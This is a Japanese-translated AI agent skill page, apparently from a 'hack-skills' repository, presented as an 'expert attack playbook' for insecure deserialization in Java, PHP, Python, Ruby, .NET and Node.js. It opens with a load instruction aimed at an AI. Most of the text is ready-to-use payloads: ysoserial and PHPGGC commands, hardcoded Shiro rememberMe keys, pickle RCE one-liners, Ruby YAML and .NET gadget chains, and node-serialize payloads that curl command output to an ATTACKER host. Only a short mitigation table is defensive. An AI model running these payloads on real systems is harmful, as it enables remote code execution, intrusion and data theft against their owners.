deserialization-insecure
Java・PHP・Pythonアプリケーションで`ObjectInputStream`、`unserialize`、`pickle`などを用いて信頼できないデータをデシリアライズしている場合に使用する。RCE・ファイルアクセス・権限昇格につながる危険なデシリアライズの脆弱性を検出・対策するためのプレイブック。
description の原文を見る
>- Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.
SKILL.md 本文
SKILL: インセキュアなデシリアライゼーション — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: Java、PHP、Python にわたるエキスパートレベルのデシリアライゼーション技法。ガジェットチェーンの選択、トラフィック フィンガープリンティング、ツール使用法 (ysoserial、PHPGGC)、Shiro/WebLogic/Commons Collections の詳細、Phar デシリアライゼーション、および Python pickle の悪用をカバーします。ベースモデルはシンクの発見と使用可能なガジェットチェーンの発見の区別を見逃すことがよくあります。
0. 関連ルーティング
jndi-injectionデシリアライゼーションが JNDI ルックアップにつながる場合 (例: JDK 8u191 以降のバイパス LDAP → デシリアライゼーション)unauthorized-access-common-servicesデシリアライゼーション エンドポイントが公開された管理サービス (RMI Registry、T3、AJP) である場合ghost-bits-cast-attackWAF が BCEL ClassLoader または Fastjson@typeペイロードをブロックする場合 — Ghost Bits は各バイトコードバイトを低 8 ビットが一致する Unicode 文字にラップし、WAF がフィンガープリントできないペイロードを生成します
高度なリファレンス
以下の場合は JAVA_GADGET_CHAINS.md も読み込んでください:
- Java ガジェットチェーン バージョン互換性マトリックス (CommonsCollections 1–7、CommonsBeanutils、Spring、JDK 限定、Groovy、Hibernate、ROME、C3P0 など)
- SnakeYAML ガジェット (ScriptEngineManager/URLClassLoader) の悪用 JAR 構造
- Hessian/Kryo/Avro/XStream デシリアライゼーション パターンおよびトラフィック フィンガープリント
- .NET ViewState デシリアライゼーション (machineKey 要件、ysoserial.net による ViewState 偽造、Blacklist3r)
- Ruby YAML.load と YAML.safe_load による悪用 — バージョン固有のチェーン
- 検出フィンガープリント: 形式ごとのマジックバイト テーブル (Java
AC ED、.NETAAEAAD、Python pickle80 0N、PHPO:、Ruby04 08)
1. トラフィック フィンガープリンティング — デシリアライゼーションか?
Java シリアライズされたオブジェクト
| インジケータ | 確認場所 |
|---|---|
16 進数 ac ed 00 05 | リクエスト/レスポンス本文、Cookie、POST パラメータ内の生バイナリ |
Base64 rO0AB | Cookie (rememberMe)、非表示フォームフィールド、JWT クレーム |
Content-Type: application/x-java-serialized-object | HTTP ヘッダー |
| T3/IIOP プロトコル トラフィック | WebLogic ポート (7001、7002) |
PHP シリアライズされたオブジェクト
| インジケータ | 確認場所 |
|---|---|
O:NUMBER:"ClassName" パターン | POST 本文、Cookie、セッションファイル |
a:NUMBER:{ (配列) | 同じ場所 |
phar:// URI の使用 | ユーザー制御パスを受け入れるファイル操作 |
Python Pickle
| インジケータ | 確認場所 |
|---|---|
16 進数 80 03 または 80 04 (プロトコル 3/4) | リクエスト内のバイナリデータ、メッセージキュー |
| Base64 エンコードされたバイナリ ブロブ | API パラメータ、Cookie、Redis 値 |
ソースコード内の pickle.loads / pickle.load | コードレビュー / ホワイトボックス |
2. JAVA — ガジェットチェーンおよびツール
ysoserial — プライマリ ツール
# ペイロード生成 (例: CommonsCollections1 チェーンとコマンド)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
# HTTP トランスポート向けの Base64 エンコード
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# 試すべき一般的なチェーン (脆弱な依存関係の出現頻度順):
# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2 — Spring Framework
# Groovy1 — Groovy
# Hibernate1 — Hibernate
# JBossInterceptors1 — JBoss
# Jdk7u21 — JDK 7u21 (追加の依存関係なし)
# URLDNS — DNS のみ確認 (RCE なし、どこでも機能)
URLDNS — セーフな確認プローブ
URLDNS は RCE なしで DNS ルックアップをトリガーします — デシリアライゼーションを確認するには安全です:
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
collaborator への DNS ヒット = デシリアライゼーション確認。次に RCE チェーンにエスカレーション。
Commons Collections — クラシック チェーン
脆弱性は org.apache.commons.collections (3.x) がクラスパスにあり、アプリケーションが信頼されていないデータに対して readObject() を呼び出す場合に存在します。
チェーン内の主要クラス: InvokerTransformer → ChainedTransformer → TransformedMap → デシリアライゼーション中に Runtime.exec() をトリガー。
Apache Shiro — rememberMe デシリアライゼーション
Shiro は rememberMe Cookie でシリアライズされた Java オブジェクトを AES-CBC で暗号化します。
既知のハードコードされたキー (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # 最も一般的なデフォルト
wGJlpLanyXlVB1LUUWolBg== # 古いバージョンの別の一般的なデフォルト
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
攻撃フロー:
- 検出: 無効なセッションで応答が
rememberMe=deleteMeCookie を設定 - ysoserial ペイロード生成 (幅広い互換性のため CommonsCollections6 推奨)
- 既知のキー + ランダム IV で AES-CBC 暗号化
- Base64 エンコード →
rememberMeCookie 値として設定 - リクエスト送信 → サーバーが復号化 → デシリアライゼーション → RCE
DNS ログ確認 (完全な RCE の前): URLDNS チェーンを使用 → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → 暗号化 → Cookie を設定 → DNS ログでヒットを確認。
修正後 (ランダムキー): キーは依然としてパディング オラクルを通じてリークする可能性、または別の CVE (SHIRO-721)。
WebLogic デシリアライゼーション
複数のベクトル:
- T3 プロトコル (ポート 7001): シリアライズされたオブジェクトの直接注入
- XMLDecoder (CVE-2017-10271): XML ベースのデシリアライゼーション
/wls-wsat/CoordinatorPortType経由 - IIOP プロトコル: T3 の代替
# T3 プローブ — T3 が公開されているかどうかを確認:
nmap -sV -p 7001 TARGET
# 確認内容: サービスバナーで "T3" または "WebLogic"
Java RMI Registry
RMI Registry (ポート 1099) は設計上シリアライズされたオブジェクトを受け入れます:
# RMI 向け ysoserial 悪用モジュール:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# 必要: ターゲットのクラスパス上に脆弱なライブラリ
# 機能: JDK <= 8u111 (JEP 290 デシリアライゼーション フィルターなし)
JDK バージョン制約
| JDK バージョン | 影響 |
|---|---|
| < 8u121 | RMI/LDAP リモートクラスロード機能 |
| 8u121-8u190 | RMI に対して trustURLCodebase=false; LDAP はまだ機能 |
| >= 8u191 | RMI および LDAP リモートクラスロードはブロック |
| >= 8u191 バイパス | LDAP → リモートクラスではなくシリアライズされたガジェット オブジェクトを返す |
3. PHP — unserialize および PHAR
マジックメソッド チェーン
PHP デシリアライゼーションはマジックメソッドを順序で トリガーします:
__wakeup() → unserialize() で直ちに呼び出し
__destruct() → オブジェクトがガベージコレクションされるときに呼び出し
__toString() → オブジェクトが文字列として使用されるときに呼び出し
__call() → アクセス不可メソッドに対して呼び出し
攻撃: シリアライズされたオブジェクトを作成し、その __destruct() または __wakeup() が危険な操作 (ファイル書き込み、SQL クエリ、コマンド実行、SSRF) をトリガーします。
シリアライズされたオブジェクト形式
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin 構成注入 (実例)
phpMyAdmin PMA_Config クラスは source プロパティ経由で任意のファイルを読み取ります:
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP ガジェット チェーン ジェネレータ
# 利用可能なチェーンをリスト:
phpggc -l
# ペイロード生成 (例: Laravel RCE):
phpggc Laravel/RCE1 system id
# 一般的なチェーン:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
Phar デシリアライゼーション
Phar アーカイブはシリアライズされたメタデータを含みます。phar:// URI に対する任意のファイル操作はデシリアライゼーションをトリガーします — unserialize() が直接呼び出されることはありません。
トリガー関数 (部分的なリスト):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
攻撃フロー:
- 有効なファイル (例: JPEG と phar ポリグロット) をアップロード
- ファイル操作をトリガー:
file_exists("phar://uploads/avatar.jpg") - PHP は phar メタデータをデシリアライズ → ガジェット チェーンが実行
# PHPGGC を使用して phar を生成:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
4. PYTHON — PICKLE
reduce メソッド
Python の pickle.loads() はデシリアライゼーション中にオブジェクト上の __reduce__() を呼び出し、呼び出し可能 + 引数を返すことができます:
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# pickle.loads() を呼び出すターゲットにペイロードを送信
Pickle オペコードの分析
import pickletools
pickletools.dis(payload)
# オペコードを表示: GLOBAL、REDUCE など
# 危険なモジュール (os、subprocess、builtins) を参照する GLOBAL を探す
一般的な Python デシリアライゼーション シンク
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # Loader=SafeLoader なし PyYAML
jsonpickle.decode(data)
shelve.open(path)
防御のバイパス: RestrictedUnpickler
RestrictedUnpickler.find_class が使用されている場合でも、ホワイトリストが広すぎないか確認:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
safe_builtins に eval、exec、または __import__ が含まれている場合 → 依然として悪用可能。
5. 検出方法論
リクエスト/Cookie 内にバイナリ ブロブまたはエンコードされたオブジェクトが見つかった?
├── Java シグネチャ (ac ed / rO0AB)?
│ ├── URLDNS プローブを安全な確認に使用
│ ├── ライブラリを識別 (エラー メッセージ、既知の製品)
│ └── 識別されたライブラリに一致する ysoserial チェーンを試す
│
├── PHP シグネチャ (O:N:"...)?
│ ├── フレームワークを識別 (Laravel、Symfony、WordPress)
│ ├── そのフレームワークの PHPGGC チェーンを試す
│ └── ファイル操作で phar:// ラッパーをチェック
│
├── Python (不透明なバイナリ、Base64 ブロブ)?
│ ├── DNS コールバックで pickle ペイロードを試す
│ └── PyYAML 安全でない読み込みが使用されているか確認
│
└── 不明な場合?
├── URLDNS ペイロード (Java) を試す — DNS を確認
├── PHP シリアライズ テスト文字列を試す
└── クラス読み込み失敗のエラー メッセージを監視
6. 防御の認識
| 言語 | 緩和策 |
|---|---|
| Java | JEP 290 デシリアライゼーション フィルター; 許可されたクラスのホワイトリスト; 信頼されていないデータに対して ObjectInputStream を回避; JSON/Protobuf の代わりに使用 |
| PHP | ユーザー入力に対して unserialize() を回避; 代わりに json_decode() を使用; ファイル操作で phar:// をブロック |
| Python | 信頼されたデータに対してのみ pickle を使用; 外部入力に対して json を使用; PyYAML: 常に yaml.safe_load() を使用 |
7. クイック リファレンス — キー ペイロード
# Java — URLDNS 確認
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
# Java — CommonsCollections 経由の RCE
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
# PHP — Phar ポリグロット
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
# Shiro デフォルト キー テスト
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
8. RUBY デシリアライゼーション
Ruby Marshal
Marshal.load信頼されていないデータで → RCE- フィンガープリント: バイナリデータ、一般的なテキスト ヘッダーなし
- ガジェット チェーンはさまざまな Ruby バージョン向けに存在
- Docker 検証:
[hex_string].pack("H*")経由の 16 進ペイロード
Ruby YAML (YAML.load)
YAML.load(不是YAML.safe_load) は任意の Ruby オブジェクトを実行- Ruby 2.7.2 以前:
Gem::Requirementチェーン →git_set: id/git_set: sleep 600 - Ruby 2.x-3.x:
Gem::Installer→TarReader→Kernel#systemチェーン (より長い、複数ステップ) - 常にテスト:
YAML.load("--- !ruby/object:Gem::Installer\ni: x")クラスインスタンス化の確認 - ペイロード テンプレート:
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"
- 注:
YAML.safe_loadは安全 (Ruby 2.1+);Psych.safe_loadも安全
9. .NET デシリアライゼーション
-
トラフィック フィンガープリント:
- BinaryFormatter: 16 進数
AAEAAD(Base64AAEAAAD/////) - ViewState: 16 進数
FF01または/wプレフィックス - JSON.NET: JSON 内の
$typeプロパティ
- BinaryFormatter: 16 進数
-
BinaryFormatter (最も危険、.NET 5+ で廃止): 任意のタイプのインスタンス化
-
XmlSerializer:
ObjectDataProvider+XamlReaderチェーン でコマンド実行<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider"> <od:MethodName>Start</od:MethodName> <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters> <od:ObjectInstance xsi:type="System.Diagnostics.Process"/> </root> -
NetDataContractSerializer: BinaryFormatter に類似、XML 内の完全なタイプ情報
-
LosFormatter: ViewState で使用、
ObjectStateFormatterにデシリアライズ -
JSON.NET:
$typeプロパティは型制御を有効化 →ObjectDataProvider+ExpandedWrapperチェーン{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} -
ツール:
ysoserial.net— すべての .NET フォーマッタ向けペイロード生成ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -
POP ガジェット:
ObjectDataProvider、ExpandedWrapper、AssemblyInstaller.set_Path
10. NODE.JS デシリアライゼーション
-
node-serialize:
unserialize()with IIFE (即座実行関数式)- ペイロード マーカー:
_$$ND_FUNC$$_ - 末尾に
()を追加して自動実行:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} - ペイロード マーカー:
-
funcster:
__js_functionプロパティ →constructor.constructorでprocessにアクセス{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} -
cryo: funcster に類似、関数サポート付きで JS オブジェクトをシリアライズ
11. RUBY デシリアライゼーション (拡張)
Marshal (バイナリ形式)
# Ruby の Marshal.load は Java の ObjectInputStream に相当
# marshal_dump/marshal_load を使用する任意のクラスはガジェットになり得る
# 検出: \x04\x08 で始まるバイナリデータ
# または 16 進数: 0408
# PoC ガジェット (スコープ内の脆弱なクラスが必要):
payload = "\x04\x08..." # 16 進エンコードされたガジェット チェーン
Marshal.load(payload) # 任意コード実行をトリガー
YAML.load (クリティカル — 最も一般的な Ruby デシリアライゼーション シンク)
# YAML.load (NOT YAML.safe_load) は任意の Ruby オブジェクトをデシリアライズ
# Ruby <= 2.7.2 — Gem::Requirement チェーン:
# !ruby/object コンストラクタ経由でトリガー
---
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
current_fetch_uri: !ruby/object:URI::Generic
path: "| id"
# Ruby 2.x–3.x — Gem::Installer チェーン:
# Gem::Installer → Gem::StubSpecification → Kernel#system を使用
---
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id # <-- 実行するコマンド
method_id: :resolve
# 安全な代替案: YAML.safe_load (許可された型のホワイトリスト)
ツール
elttam/ruby-deserialization— Ruby ガジェット チェーン ジェネレータfrohoff/ysoserialインスピレーション → Ruby 固有フォークを確認
12. .NET デシリアライゼーション (拡張)
トラフィック フィンガープリンティング
| インジケータ | シリアライザー |
|---|---|
16 進数 00 01 00 00 00 / Base64 AAEAAD | BinaryFormatter |
16 進数 FF 01 / Base64 /w | DataContractSerializer |
ViewState が __VIEWSTATE で始まる | LosFormatter / ObjectStateFormatter |
$type プロパティ付き JSON | JSON.NET (Newtonsoft) TypeNameHandling |
<ObjectDataProvider> 付き XML | XmlSerializer / NetDataContractSerializer |
BinaryFormatter / LosFormatter
# 最も危険 — 任意のタイプインスタンス化
# ツール: ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64
# LosFormatter は BinaryFormatter をラップ — 同じガジェット機能
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
XmlSerializer + ObjectDataProvider
<root>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<ObjectDataProvider.MethodParameters>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
</ObjectDataProvider.MethodParameters>
<ObjectDataProvider.ObjectInstance>
<ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
<ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
<ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
</ProcessStartInfo>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</root>
JSON.NET と TypeNameHandling
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
TypeNameHandling が Auto、Objects、Arrays、または All に設定されている場合に脆弱。
ツール
pwntester/ysoserial.net— プライマリ .NET デシリアライゼーション ペイロード ジェネレータ- ガジェット チェーン: TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile
13. NODE.JS デシリアライゼーション (拡張)
node-serialize (IIFE パターン)
// node-serialize は内部で eval() を使用
// ペイロードは _$$ND_FUNC$$_ マーカー + IIFE を使用:
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
// 末尾の () は即座実行関数式にする
// unserialize() がこれを処理するとき、関数が実行
// 完全な HTTP 悪用 (Cookie または本文):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}
funcster
// funcster は constructor.constructor パターンで関数をデシリアライズ:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString()}"}
PHP create_function + デシリアライゼーション コンボ
// create_function が __destruct または __wakeup で使用される場合:
// オブジェクトをシリアライズ:
$a = "create_function";
$b = ";}system('id');/*";
// ラムダ本文は: function(){ ;}system('id');/* }
// 元の関数本文をクローズしてコマンドを注入、残りをコメントアウト
// シリアライズ形式で、プライベート プロパティは \0ClassName\0 プレフィックスが必要:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。